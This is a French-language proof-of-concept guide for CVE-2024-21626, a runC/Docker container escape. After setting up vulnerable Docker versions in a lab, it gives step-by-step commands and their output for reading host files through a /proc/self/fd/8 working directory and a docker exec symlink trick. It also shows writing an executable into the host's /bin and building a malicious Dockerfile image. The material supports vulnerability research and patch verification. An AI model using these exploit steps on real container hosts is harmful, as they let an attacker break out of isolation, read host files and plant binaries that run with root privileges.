
Preuve de concept pour CVE-2024-21626, une vulnérabilité d'évasion de conteneur Docker/runC. Démontre l'accès au système de fichiers hôte via la manipulation du répertoire de travail, avec plusieurs scénarios d'attaque et scripts de vérification.
Lisez mon article complet pour une explication détaillée ici.
En enquêtant sur CVE-2024–21626, j'ai découvert une vulnérabilité négligée dans les anciennes versions de Docker et runC. Pour en savoir plus sur ce que j'ai trouvé, lisez l'article suivant : « Exploring Hidden Vulnerabilities in Legacy Docker Versions: Lessons from CVE-2024–21626 ».
Pendant l'installation, ne cochez pas la case pour télécharger les mises à jour système.
Insérez l'image CD des additions invité
Ouvrez un terminal dans l'image CD montée
Exécutez le script VBoxLinuxAdditions.run
demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run
Configurez le dépôt apt de Docker
# configurer le dépôt apt de Docker : ajouter la clé GPG officielle de Docker
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# ajouter le dépôt aux sources Apt :
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
Trouver et installer la bonne version des différents composants (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin).
# chercher dans le cache du dépôt les paquets docker-ce disponibles
apt-cache madison docker-ce | awk '{ print $3 }'
# définir la version choisie
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy
# chercher dans le cache du dépôt les paquets containerd.io et docker-buildx-plugin disponibles
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin
# installer les paquets
sudo apt install docker-ce=$VERSION_STRING \
docker-ce-cli=$VERSION_STRING \
containerd.io=1.6.4-1 \
docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy
Si les paquets sont trop anciens pour être trouvés (voir aussi l'ancien dépôt en ligne), ou si vous ne pouvez pas utiliser le dépôt apt de Docker pour installer Docker Engine, vous pouvez télécharger le fichier .deb pour votre version et l'installer manuellement. Allez sur https://download.docker.com/linux/ubuntu/dists/ ou utilisez les fichiers .deb présents dans mon dépôt GitHub et installez-les.
# cloner le dépôt CVE-2024-21626
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# installer les fichiers deb
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb
sudo docker version
runc --version
containerd --version
uname -r
Pour fonctionner correctement, la vulnérabilité nécessite la présence de l'appel système openat2. Vérifiez manuellement avec la commande suivante :
grep openat2 /proc/kallsyms
Il peut être nécessaire de vérifier avec le script Golang suivant disponible dans mon dépôt GitHub si l'appel système openat2 est présent.
# cloner le dépôt CVE-2024-21626
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# exécuter testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.
Le binaire a été compilé avec les flags suivants :
env GOOS=linux GOARCH=amd64 go build testOpenat2.go
Exécutez checkVulnerability.sh et voyez si le fichier s'affiche dans le terminal
# cloner le dépôt CVE-2024-21626
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# exécuter checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Exploitation via le réglage du répertoire de travail sur /proc/self/fd/
# lancer le conteneur avec le répertoire de travail sur /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
# lire les fichiers du système de fichiers hôte depuis le conteneur
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

Exploitation via docker exec :
Ouvrez un terminal et exécutez les commandes suivantes
# terminal 1
# lancer le conteneur
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# créer des liens symboliques
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
Ouvrez un autre terminal et exécutez la commande suivante
# terminal 2 : exec dans le conteneur et définir le répertoire de travail
sudo docker exec -it -w /bar cve-2024-21626 sleep 120
Revenez au premier terminal et accédez au système de fichiers de l'hôte
# terminal 1 : trouver le pid actuel avec la bonne cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# lire les fichiers du système de fichiers hôte
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc
# lire les fichiers du système de fichiers du conteneur
root@d98de5a852d7:/# cat /etc/hostname
d98de5a852d7

# L'attaque 3a est l'attaque 1 mais adaptée pour écraser un binaire hôte
# lancer le conteneur avec le répertoire de travail sur /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.#
# écrire un fichier sur le système hôte
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# modifier les permissions
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# vérifier si le fichier est présent sur l'hôte
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:24 cve2024_21626
# l'exécuter sur l'hôte
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626

# scénario 3b : attaque d'écrasement de binaire hôte
# L'attaque 3b est l'attaque 2 mais adaptée pour écraser un binaire hôte
# terminal 1
# lancer le conteneur
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# créer des liens symboliques
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
# terminal 2 : exec dans le conteneur et définir le répertoire de travail
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000
# terminal 1
# trouver le pid actuel avec la bonne cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# écrire un fichier sur le système hôte
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# modifier les permissions
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
/proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# vérifier si le fichier est présent sur l'hôte
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:39 cve2024_21626
# l'exécuter sur l'hôte
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626
Étant donné le Dockerfile suivant
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8
Construisez et exécutez l'image
sudo docker build . -t devil-image
sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc
